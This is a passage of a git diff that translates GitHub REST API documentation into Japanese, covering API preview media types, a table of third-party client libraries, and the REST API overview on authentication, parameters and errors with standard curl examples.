+**カスタムメディアタイプ:** `luke-cage-preview` **発表日:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
 
 {% endif %}
 
 
 {% ifversion ghes %}
 
-## Anonymous Git access to repositories
+## リポジトリへの匿名 Git アクセス
 
-When a {% data variables.product.prodname_ghe_server %} instance is in private mode, site and repository administrators can enable anonymous Git access for a public repository.
+{% data variables.product.prodname_ghe_server %} インスタンスがプライベートモードの場合、サイトおよびリポジトリの管理者は、パブリックリポジトリに対して匿名の Git アクセスを有効にすることができます。
 
-**Custom media type:** `x-ray-preview`
-**Announced:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
+**カスタムメディアタイプ:** `x-ray-preview` **発表日:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Project card details
+## プロジェクトカードの詳細
 
-The REST API responses for [issue events](/rest/reference/issues#events) and [issue timeline events](/rest/reference/issues#timeline) now return the `project_card` field for project-related events.
+[Issue イベント](/rest/reference/issues#events)および [Issue タイムラインイベント](/rest/reference/issues#timeline)の REST API 応答は、プロジェクト関連イベントの `project_card` フィールドを返すようになりました。
 
-**Custom media type:** `starfox-preview`
-**Announced:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
+**カスタムメディアタイプ:** `starfox-preview` **発表日:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
 
 {% endif %}
 {% ifversion fpt or ghec %}
 
-## GitHub App Manifests
+## GitHub App マニフェスト
 
-GitHub App Manifests allow people to create preconfigured GitHub Apps. See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" for more details.
+GitHub App マニフェストを使用すると、事前設された GitHub App を作成できます。 詳細については、「[GitHub App のマニフェスト](/apps/building-github-apps/creating-github-apps-from-a-manifest/)」を参照してください。
 
-**Custom media type:** `fury-preview`
+**カスタムメディアタイプ:** `fury-preview`
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Deployment statuses
+## デプロイメントステータス
 
-You can now update the `environment` of a [deployment status](/rest/reference/deployments#create-a-deployment-status) and use the `in_progress` and `queued` states. When you create deployment statuses, you can now use the `auto_inactive` parameter to mark old `production` deployments as `inactive`.
+[デプロイメントステータス](/rest/reference/deployments#create-a-deployment-status)の`環境`を更新し、`in_progress` および `queued` ステータスを使用できるようになりました。 デプロイメントステータスを作成するときに、`auto_inactive` パラメータを使用して、古い`本番`デプロイメントを `inactive` としてマークできるようになりました。
 
-**Custom media type:** `flash-preview`
-**Announced:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
+**カスタムメディアタイプ:** `flash-preview` **発表日:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Repository creation permissions
+## リポジトリの作成権限
 
-You can now configure whether organization members can create repositories and which types of repositories they can create. See "[Update an organization](/rest/reference/orgs#update-an-organization)" for more details.
+Organization メンバーによるリポジトリの作成可否、および作成可能なリポジトリのタイプを設定できるようになりました。 詳細については、「[Organization を更新する](/rest/reference/orgs#update-an-organization)」を参照してください。
 
-**Custom media types:** `surtur-preview`
-**Announced:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**カスタムメディアタイプ:** `surtur-preview` **発表日:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 
 {% endif %}
 
 {% ifversion ghes < 3.4 %}
-## Content attachments
+## コンテンツの添付
 
-You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details.
+{% data variables.product.prodname_unfurls %} API を使用して、登録されたドメインにリンクする URL の詳細情報を GitHub で提供できるようになりました。 詳細については、「[添付コンテンツを使用する](/apps/using-content-attachments/)」を参照してください。
 
-**Custom media types:** `corsair-preview`
-**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
+**カスタムメディアタイプ:** `corsair-preview` **発表日:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
 
 {% endif %}
 {% ifversion ghae or ghes < 3.3 %}
 
-## Enable and disable Pages
+## Pages の有効化と無効化
 
-You can use the new endpoints in the [Pages API](/rest/reference/repos#pages) to enable or disable Pages. To learn more about Pages, see "[GitHub Pages Basics](/categories/github-pages-basics)".
+[Pages API](/rest/reference/repos#pages) の新しいエンドポイントを使用して、Pages を有効または無効にできます。 Pages の詳細については、「[GitHub Pages の基本](/categories/github-pages-basics) 」を参照してください。
 
-**Custom media types:** `switcheroo-preview`
-**Announced:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
+**カスタムメディアタイプ:** `switcheroo-preview` **発表日:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## List branches or pull requests for a commit
+## コミットのブランチまたはプルリクエストの一覧表示
 
-You can use two new endpoints in the [Commits API](/rest/reference/repos#commits) to list branches or pull requests for a commit.
+[Commits API](/rest/reference/repos#commits) で 2 つの新しいエンドポイントを使用して、コミットのブランチまたはプルリクエストを一覧表示できます。
 
-**Custom media types:** `groot-preview`
-**Announced:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
+**カスタムメディアタイプ:** `groot-preview` **発表日:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Update a pull request branch
+## プルリクエストブランチの更新
 
-You can use a new endpoint to [update a pull request branch](/rest/reference/pulls#update-a-pull-request-branch) with changes from the HEAD of the upstream branch.
+新しいエンドポイントを使用して、[プルリクエストブランチ](/rest/reference/pulls#update-a-pull-request-branch)を上流ブランチの HEAD からの変更で更新できます。
 
-**Custom media types:** `lydian-preview`
-**Announced:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
+**カスタムメディアタイプ:** `lydian-preview` **発表日:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Create and use repository templates
+## リポジトリテンプレートの作成および使用
 
-You can use a new endpoint to [Create a repository using a template](/rest/reference/repos#create-a-repository-using-a-template) and [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) that is a template repository by setting the `is_template` parameter to `true`. [Get a repository](/rest/reference/repos#get-a-repository) to check whether it's set as a template repository using the `is_template` key.
+新しいエンドポイントで、[テンプレートを使用してリポジトリを作成](/rest/reference/repos#create-a-repository-using-a-template)し、`is_template` パラメータを `true` に設定して、テンプレートリポジトリである[認証済みユーザのリポジトリを作成](/rest/reference/repos#create-a-repository-for-the-authenticated-user)できます。 `is_template` キーを使用して、[リポジトリを取得](/rest/reference/repos#get-a-repository)し、テンプレートリポジトリとして設定されているかどうかを確認します。
 
-**Custom media types:** `baptiste-preview`
-**Announced:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
+**カスタムメディアタイプ:** `baptiste-preview` **発表日:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## New visibility parameter for the Repositories API
+## Repositories API の新しい可視性パラメータ
 
-You can set and retrieve the visibility of a repository in the [Repositories API](/rest/reference/repos).
+[Repositories API](/rest/reference/repos) でリポジトリの可視性を設定および取得できます。
 
-**Custom media types:** `nebula-preview`
-**Announced:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**カスタムメディアタイプ:** `nebula-preview` **発表日:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 {% endif %}
diff --git a/translations/ja-JP/content/rest/overview/libraries.md b/translations/ja-JP/content/rest/overview/libraries.md
index 0128487f72..a83c7b8417 100644
--- a/translations/ja-JP/content/rest/overview/libraries.md
+++ b/translations/ja-JP/content/rest/overview/libraries.md
@@ -1,5 +1,5 @@
 ---
-title: Libraries
+title: ライブラリ
 intro: 'You can use the official Octokit library and other third-party libraries to extend and simplify how you use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
 redirect_from:
   - /libraries
@@ -15,8 +15,8 @@ topics:
 
 <div class="jumbotron libraries-jumbotron">
   <img src="/assets/images/gundamcat.png" class="gundamcat" alt="The Gundamcat" />
-  <h1>Octokit comes in many flavors</h1>
-  <p class="lead">Use the official Octokit library, or choose between any of the available third party libraries.</p>
+  <h1>Octokit にはいくつかの種類があります</h1>
+  <p class="lead">公式の Octokit ライブラリを使用するか、利用可能なサードパーティライブラリのいずれかを選択します。</p>
   <div class="octokit-links"><br/>
      <div class="octokit-language"> <span>Ruby → </span><a href="https://github.com/octokit/octokit.rb">octokit.rb</a></div><br/>
      <div class="octokit-language"><span>.NET → </span> <a href="https://github.com/octokit/octokit.net">octokit.net</a></div><br/>
@@ -24,130 +24,130 @@ topics:
   </div>
 </div>
 
-# Third-party libraries
+# サードパーティライブラリ
 
 ### Clojure
 
-| Library name | Repository |
-|---|---|
-|**Tentacles**| [Raynes/tentacles](https://github.com/Raynes/tentacles)|
+| ライブラリ名        | リポジトリ                                                   |
+| ------------- | ------------------------------------------------------- |
+| **Tentacles** | [Raynes/tentacles](https://github.com/Raynes/tentacles) |
 
 ### Dart
 
-| Library name | Repository |
-|---|---|
-|**github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart)|
+| ライブラリ名          | リポジトリ                                                                   |
+| --------------- | ----------------------------------------------------------------------- |
+| **github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart) |
 
 ### Emacs Lisp
 
-| Library name | Repository |
-|---|---|
-|**gh.el**    | [sigma/gh.el](https://github.com/sigma/gh.el)|
+| ライブラリ名    | リポジトリ                                         |
+| --------- | --------------------------------------------- |
+| **gh.el** | [sigma/gh.el](https://github.com/sigma/gh.el) |
 
 ### Erlang
 
-| Library name | Repository |
-|---|---|
-|**octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl)|
+| ライブラリ名       | リポジトリ                                                   |
+| ------------ | ------------------------------------------------------- |
+| **octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl) |
 
 ### Go
 
-| Library name | Repository |
-|---|---|
-|**go-github**| [google/go-github](https://github.com/google/go-github)|
+| ライブラリ名        | リポジトリ                                                   |
+| ------------- | ------------------------------------------------------- |
+| **go-github** | [google/go-github](https://github.com/google/go-github) |
 
 ### Haskell
 
-| Library name | Repository |
-|---|---|
-|**haskell-github** | [fpco/Github](https://github.com/fpco/GitHub)|
+| ライブラリ名             | リポジトリ                                         |
+| ------------------ | --------------------------------------------- |
+| **haskell-github** | [fpco/Github](https://github.com/fpco/GitHub) |
 
 ### Java
 
-| Library name | Repository | More information |
-|---|---|---|
-|**GitHub API for Java**| [org.kohsuke.github (From github-api)](http://github-api.kohsuke.org/)|defines an object oriented representation of the GitHub API.|
-|**JCabi GitHub API**|[github.jcabi.com (Personal Website)](http://github.jcabi.com)|is based on Java7 JSON API (JSR-353), simplifies tests with a runtime GitHub stub, and covers the entire API.|
+| ライブラリ名                  | リポジトリ                                                               | 詳細情報                                                               |
+| ----------------------- | ------------------------------------------------------------------- | ------------------------------------------------------------------ |
+| **GitHub API for Java** | [org.kohsuke.github (github-apiより)](http://github-api.kohsuke.org/) | GitHub APIのオブジェクト指向の表現を定義。                                         |
+| **JCabi GitHub API**    | [github.jcabi.com (個人Webサイト)](http://github.jcabi.com)              | Java7 JSON API (JSR-353)に基づき、ランタイムのGitHubスタブでテストをシンプルにし、API全体をカバー。 |
 
 ### JavaScript
 
-| Library name | Repository |
-|---|---|
-|**NodeJS GitHub library**| [pksunkara/octonode](https://github.com/pksunkara/octonode)|
-|**gh3 client-side API v3 wrapper**| [k33g/gh3](https://github.com/k33g/gh3)|
-|**Github.js wrapper around the GitHub API**|[michael/github](https://github.com/michael/github)|
-|**Promise-Based CoffeeScript library for the Browser or NodeJS**|[philschatz/github-client](https://github.com/philschatz/github-client)|
+| ライブラリ名                                                           | リポジトリ                                                                   |
+| ---------------------------------------------------------------- | ----------------------------------------------------------------------- |
+| **NodeJS GitHub library**                                        | [pksunkara/octonode](https://github.com/pksunkara/octonode)             |
+| **gh3 client-side API v3 wrapper**                               | [k33g/gh3](https://github.com/k33g/gh3)                                 |
+| **Github.js wrapper around the GitHub API**                      | [michael/github](https://github.com/michael/github)                     |
+| **Promise-Based CoffeeScript library for the Browser or NodeJS** | [philschatz/github-client](https://github.com/philschatz/github-client) |
 
 ### Julia
 
-| Library name | Repository |
-|---|---|
-|**GitHub.jl**|[JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl)|
+| ライブラリ名        | リポジトリ                                                       |
+| ------------- | ----------------------------------------------------------- |
+| **GitHub.jl** | [JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl) |
 
 ### OCaml
 
-| Library name | Repository |
-|---|---|
-|**ocaml-github**|[mirage/ocaml-github](https://github.com/mirage/ocaml-github)|
+| ライブラリ名           | リポジトリ                                                         |
+| ---------------- | ------------------------------------------------------------- |
+| **ocaml-github** | [mirage/ocaml-github](https://github.com/mirage/ocaml-github) |
 
 ### Perl
 
-| Library name | Repository | metacpan Website for the Library |
-|---|---|---|
-|**Pithub**|[plu/Pithub](https://github.com/plu/Pithub)|[Pithub CPAN](http://metacpan.org/module/Pithub)|
-|**Net::GitHub**|[fayland/perl-net-github](https://github.com/fayland/perl-net-github)|[Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub)|
+| ライブラリ名          | リポジトリ                                                                 | ライブラリのmetacpan Webサイト                                   |
+| --------------- | --------------------------------------------------------------------- | ------------------------------------------------------- |
+| **Pithub**      | [plu/Pithub](https://github.com/plu/Pithub)                           | [Pithub CPAN](http://metacpan.org/module/Pithub)        |
+| **Net::GitHub** | [fayland/perl-net-github](https://github.com/fayland/perl-net-github) | [Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub) |
 
 ### PHP
 
-| Library name | Repository |
-|---|---|
-|**PHP GitHub API**|[KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)|
-|**GitHub Joomla! Package**|[joomla-framework/github-api](https://github.com/joomla-framework/github-api)|
-|**GitHub bridge for Laravel**|[GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub)|
+| ライブラリ名                        | リポジトリ                                                                             |
+| ----------------------------- | --------------------------------------------------------------------------------- |
+| **PHP GitHub API**            | [KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)               |
+| **GitHub Joomla! Package**    | [joomla-framework/github-api](https://github.com/joomla-framework/github-api)     |
+| **GitHub bridge for Laravel** | [GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub) |
 
 ### PowerShell
 
-| Library name | Repository |
-|---|---|
-|**PowerShellForGitHub**|[microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub)|
+| ライブラリ名                  | リポジトリ                                                                             |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| **PowerShellForGitHub** | [microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub) |
 
 ### Python
 
-| Library name | Repository |
-|---|---|
-|**gidgethub**|[brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)|
-|**ghapi**|[fastai/ghapi](https://github.com/fastai/ghapi)|
-|**PyGithub**|[PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)|
-|**libsaas**|[duckboard/libsaas](https://github.com/ducksboard/libsaas)|
-|**github3.py**|[sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)|
-|**sanction**|[demianbrecht/sanction](https://github.com/demianbrecht/sanction)|
-|**agithub**|[jpaugh/agithub](https://github.com/jpaugh/agithub)|
-|**octohub**|[turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)|
-|**github-flask**|[github-flask (Official Website)](http://github-flask.readthedocs.org)|
-|**torngithub**|[jkeylu/torngithub](https://github.com/jkeylu/torngithub)|
+| ライブラリ名           | リポジトリ                                                                 |
+| ---------------- | --------------------------------------------------------------------- |
+| **gidgethub**    | [brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)     |
+| **ghapi**        | [fastai/ghapi](https://github.com/fastai/ghapi)                       |
+| **PyGithub**     | [PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)             |
+| **libsaas**      | [duckboard/libsaas](https://github.com/ducksboard/libsaas)            |
+| **github3.py**   | [sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py) |
+| **sanction**     | [demianbrecht/sanction](https://github.com/demianbrecht/sanction)     |
+| **agithub**      | [jpaugh/agithub](https://github.com/jpaugh/agithub)                   |
+| **octohub**      | [turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)       |
+| **github-flask** | [github-flask (公式Webサイト)](http://github-flask.readthedocs.org)        |
+| **torngithub**   | [jkeylu/torngithub](https://github.com/jkeylu/torngithub)             |
 
 ### Ruby
 
-| Library name | Repository |
-|---|---|
-|**GitHub API Gem**|[peter-murach/github](https://github.com/peter-murach/github)|
-|**Ghee**|[rauhryan/ghee](https://github.com/rauhryan/ghee)|
+| ライブラリ名             | リポジトリ                                                         |
+| ------------------ | ------------------------------------------------------------- |
+| **GitHub API Gem** | [peter-murach/github](https://github.com/peter-murach/github) |
+| **Ghee**           | [rauhryan/ghee](https://github.com/rauhryan/ghee)             |
 
 ### Rust
 
-| Library name | Repository |
-|---|---|
-|**Octocrab**|[XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab)|
+| ライブラリ名       | リポジトリ                                                         |
+| ------------ | ------------------------------------------------------------- |
+| **Octocrab** | [XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab) |
 
 ### Scala
 
-| Library name | Repository |
-|---|---|
-|**Hubcat**|[softprops/hubcat](https://github.com/softprops/hubcat)|
-|**Github4s**|[47deg/github4s](https://github.com/47deg/github4s)|
+| ライブラリ名       | リポジトリ                                                   |
+| ------------ | ------------------------------------------------------- |
+| **Hubcat**   | [softprops/hubcat](https://github.com/softprops/hubcat) |
+| **Github4s** | [47deg/github4s](https://github.com/47deg/github4s)     |
 
 ### Shell
 
-| Library name | Repository |
-|---|---|
-|**ok.sh**|[whiteinge/ok.sh](https://github.com/whiteinge/ok.sh)|
+| ライブラリ名    | リポジトリ                                                 |
+| --------- | ----------------------------------------------------- |
+| **ok.sh** | [whiteinge/ok.sh](https://github.com/whiteinge/ok.sh) |
diff --git a/translations/ja-JP/content/rest/overview/resources-in-the-rest-api.md b/translations/ja-JP/content/rest/overview/resources-in-the-rest-api.md
index 49c8175768..3cc60776e9 100644
--- a/translations/ja-JP/content/rest/overview/resources-in-the-rest-api.md
+++ b/translations/ja-JP/content/rest/overview/resources-in-the-rest-api.md
@@ -1,5 +1,5 @@
 ---
-title: Resources in the REST API
+title: REST API のリソース
 intro: 'Learn how to navigate the resources provided by the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
 redirect_from:
   - /rest/initialize-the-repo
@@ -13,12 +13,11 @@ topics:
 ---
 
 
-This describes the resources that make up the official {% data variables.product.product_name %} REST API. If you have any problems or requests, please contact {% data variables.contact.contact_support %}.
+公式の {% data variables.product.product_name %} REST API を構成するリソースについて説明しています。 ご不明な点やご要望がございましたら、{% data variables.contact.contact_support %} までご連絡ください。
 
-## Current version
+## 最新バージョン
 
-By default, all requests to `{% data variables.product.api_url_code %}` receive the **v3** [version](/developers/overview/about-githubs-apis) of the REST API.
-We encourage you to [explicitly request this version via the `Accept` header](/rest/overview/media-types#request-specific-version).
+デフォルトでは、`{% data variables.product.api_url_code %}` へのすべてのリクエストが REST API の **v3** [バージョン](/developers/overview/about-githubs-apis)を受け取ります。 [`Accept` ヘッダを介してこのバージョンを明示的にリクエストする](/rest/overview/media-types#request-specific-version)ことをお勧めします。
 
     Accept: application/vnd.github.v3+json
 
@@ -28,10 +27,10 @@ For information about GitHub's GraphQL API, see the [v4 documentation]({% ifvers
 
 {% endif %}
 
-## Schema
+## スキーマ
 
-{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`.  All data is
-sent and received as JSON.
+{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`.  すべてのデータは
+JSON として送受信されます。
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs
@@ -52,55 +51,43 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs
 > X-Content-Type-Options: nosniff
 ```
 
-Blank fields are included as `null` instead of being omitted.
+空白のフィールドは、省略されるのではなく `null` として含まれます。
 
 All timestamps return in UTC time, ISO 8601 format:
 
     YYYY-MM-DDTHH:MM:SSZ
 
-For more information about timezones in timestamps, see [this section](#timezones).
+タイムスタンプのタイムゾーンの詳細については、[このセクション](#timezones)を参照してください。
 
-### Summary representations
+### 要約表現
 
-When you fetch a list of resources, the response includes a _subset_ of the
-attributes for that resource. This is the "summary" representation of the
-resource. (Some attributes are computationally expensive for the API to provide.
-For performance reasons, the summary representation excludes those attributes.
-To obtain those attributes, fetch the "detailed" representation.)
+リソースのリストをフェッチすると、レスポンスにはそのリソースの属性の_サブセット_が含まれます。 これは、リソースの「要約」表現です。 （一部の属性では、API が提供する計算コストが高くなります。 パフォーマンス上の理由から、要約表現はそれらの属性を除外します。 これらの属性を取得するには、「詳細な」表現をフェッチします。）
 
-**Example**: When you get a list of repositories, you get the summary
-representation of each repository. Here, we fetch the list of repositories owned
-by the [octokit](https://github.com/octokit) organization:
+**例**: リポジトリのリストを取得すると、各リポジトリの要約表現が表示されます。 ここでは、[octokit](https://github.com/octokit) Organization が所有するリポジトリのリストを取得します。
 
     GET /orgs/octokit/repos
 
-### Detailed representations
+### 詳細な表現
 
-When you fetch an individual resource, the response typically includes _all_
-attributes for that resource. This is the "detailed" representation of the
-resource. (Note that authorization sometimes influences the amount of detail
-included in the representation.)
+個々のリソースをフェッチすると、通常、レスポンスにはそのリソースの_すべて_の属性が含まれます。 これは、リソースの「詳細」表現です。 （承認によって、表現に含まれる詳細の内容に影響する場合があることにご注意ください。）
 
-**Example**: When you get an individual repository, you get the detailed
-representation of the repository. Here, we fetch the
-[octokit/octokit.rb](https://github.com/octokit/octokit.rb) repository:
+**例**: 個別のリポジトリを取得すると、リポジトリの詳細な表現が表示されます。 ここでは、[octokit/octokit.rb](https://github.com/octokit/octokit.rb) リポジトリをフェッチします。
 
     GET /repos/octokit/octokit.rb
 
-The documentation provides an example response for each API method. The example
-response illustrates all attributes that are returned by that method.
+ドキュメントには、各 API メソッドのレスポンス例が記載されています。 レスポンス例は、そのメソッドによって返されるすべての属性を示しています。
 
-## Authentication
+## 認証
 
-{% ifversion ghae %} We recommend authenticating to the {% data variables.product.product_name %} REST API by creating an OAuth2 token through the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} There are two ways to authenticate through {% data variables.product.product_name %} REST API.{% endif %} Requests that require authentication will return `404 Not Found`, instead of `403 Forbidden`, in some places.  This is to prevent the accidental leakage of private repositories to unauthorized users.
+{% ifversion ghae %} {% data variables.product.product_name %} REST API への認証には、[Webアプリケーションフロー](/developers/apps/authorizing-oauth-apps#web-application-flow)で OAuth2 トークンを作成することをお勧めします。 {% else %}{% data variables.product.product_name %} REST API を使用して認証する方法は 2 つあります。{% endif %} 認証を必要とするリクエストは、場所によって `403 Forbidden` ではなく `404 Not Found` を返します。  これは、許可されていないユーザにプライベートリポジトリが誤って漏洩するのを防ぐためです。
 
-### Basic authentication
+### Basic 認証
 
 ```shell
 $ curl -u "username" {% data variables.product.api_url_pre %}
 ```
 
-### OAuth2 token (sent in a header)
+### OAuth2 トークン（ヘッダに送信）
 
 ```shell
 $ curl -H "Authorization: token <em>OAUTH-TOKEN</em>" {% data variables.product.api_url_pre %}
@@ -108,14 +95,14 @@ $ curl -H "Authorization: token <em>OAUTH-TOKEN</em>" {% data variables.product.
 
 {% note %}
 
-Note: GitHub recommends sending OAuth tokens using the Authorization header.
+注: GitHub では、Authorization ヘッダを使用して OAuth トークンを送信することをお勧めしています。
 
 {% endnote %}
 
-Read [more about OAuth2](/apps/building-oauth-apps/).  Note that OAuth2 tokens can be acquired using the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow) for production applications.
+[OAuth2 の詳細](/apps/building-oauth-apps/)をお読みください。  OAuth2 トークンは、本番アプリケーションの [Web アプリケーションフロー](/developers/apps/authorizing-oauth-apps#web-application-flow)で取得できることに注意してください。
 
 {% ifversion fpt or ghes or ghec %}
-### OAuth2 key/secret
+### OAuth2 キー/シークレット
 
 {% data reusables.apps.deprecating_auth_with_query_parameters %}
 
@@ -123,22 +110,22 @@ Read [more about OAuth2](/apps/building-oauth-apps/).  Note that OAuth2 tokens c
 curl -u my_client_id:my_client_secret '{% data variables.product.api_url_pre %}/user/repos'
 ```
 
-Using your `client_id` and `client_secret` does _not_ authenticate as a user, it will only identify your OAuth application to increase your rate limit. Permissions are only granted to users, not applications, and you will only get back data that an unauthenticated user would see. For this reason, you should only use the OAuth2 key/secret in server-to-server scenarios. Don't leak your OAuth application's client secret to your users.
+`client_id` と `client_secret` を使用してもユーザとして認証_されず_、OAuth アプリケーションを識別してレート制限を増やすだけです。 アクセス許可はユーザにのみ付与され、アプリケーションには付与されません。また、認証されていないユーザに表示されるデータのみが返されます。 このため、サーバー間のシナリオでのみ OAuth2 キー/シークレットを使用する必要があります。 OAuth アプリケーションのクライアントシークレットをユーザーに漏らさないようにしてください。
 
 {% ifversion ghes %}
-You will be unable to authenticate using your OAuth2 key and secret while in private mode, and trying to authenticate will return `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)".
+プライベートモードでは、OAuth2 キーとシークレットを使用して認証することはできません。認証しようとすると `401 Unauthorized` が返されます。 For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)".
 {% endif %}
 {% endif %}
 
 {% ifversion fpt or ghec %}
 
-Read [more about unauthenticated rate limiting](#increasing-the-unauthenticated-rate-limit-for-oauth-applications).
+[認証されていないレート制限の詳細](#increasing-the-unauthenticated-rate-limit-for-oauth-applications)をお読みください。
 
 {% endif %}
 
-### Failed login limit
+### ログイン失敗の制限
 
-Authenticating with invalid credentials will return `401 Unauthorized`:
+無効な認証情報で認証すると、`401 Unauthorized` が返されます。
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -u foo:bar
@@ -150,9 +137,7 @@ $ curl -I {% data variables.product.api_url_pre %} -u foo:bar
 > }
 ```
 
-After detecting several requests with invalid credentials within a short period,
-the API will temporarily reject all authentication attempts for that user
-(including ones with valid credentials) with `403 Forbidden`:
+API は、無効な認証情報を含むリクエストを短期間に複数回検出すると、`403 Forbidden` で、そのユーザに対するすべての認証試行（有効な認証情報を含む）を一時的に拒否します。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae or ghec %}
@@ -164,66 +149,58 @@ $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae o
 > }
 ```
 
-## Parameters
+## パラメータ
 
-Many API methods take optional parameters. For `GET` requests, any parameters not
-specified as a segment in the path can be passed as an HTTP query string
-parameter:
+多くの API メソッドはオプションのパラメータを選択しています。 `GET` リクエストでは、パスのセグメントとして指定されていないパラメータは、HTTP クエリ文字列型パラメータとして渡すことができます。
 
 ```shell
 $ curl -i "{% data variables.product.api_url_pre %}/repos/vmg/redcarpet/issues?state=closed"
 ```
 
-In this example, the 'vmg' and 'redcarpet' values are provided for the `:owner`
-and `:repo` parameters in the path while `:state` is passed in the query
-string.
+この例では、パスの `:owner` と `:repo` パラメータに「vmg」と「redcarpet」の値が指定され、クエリ文字列型で `:state` が渡されます。
 
-For `POST`, `PATCH`, `PUT`, and `DELETE` requests, parameters not included in the URL should be encoded as JSON
-with a Content-Type of 'application/json':
+`POST`、`PATCH`、`PUT`、および `DELETE` リクエストでは、URL に含まれていないパラメータは、Content-Type が「application/json」の JSON としてエンコードする必要があります。
 
 ```shell
 $ curl -i -u username -d '{"scopes":["repo_deployment"]}' {% data variables.product.api_url_pre %}/authorizations
 ```
 
-## Root endpoint
+## ルートエンドポイント
 
-You can issue a `GET` request to the root endpoint to get all the endpoint categories that the REST API supports:
+ルートエンドポイントに `GET` リクエストを発行して、REST API がサポートするすべてのエンドポイントカテゴリを取得できます。
 
 ```shell
 $ curl {% ifversion fpt or ghae or ghec %}
 -u <em>username</em>:<em>token</em> {% endif %}{% ifversion ghes %}-u <em>username</em>:<em>password</em> {% endif %}{% data variables.product.api_url_pre %}
 ```
 
-## GraphQL global node IDs
+## GraphQL グローバルノード ID
 
 See the guide on "[Using Global Node IDs]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)" for detailed information about how to find `node_id`s via the REST API and use them in GraphQL operations.
 
-## Client errors
+## クライアントエラー
 
-There are three possible types of client errors on API calls that
-receive request bodies:
-
-1. Sending invalid JSON will result in a `400 Bad Request` response.
+リクエストの本文を受信する API 呼び出しのクライアントエラーには、次の 3 つのタイプがあります。
 
+1. 無効なJSONを送信すると、`400 Bad Request` レスポンスが返されます。
+   
         HTTP/2 400
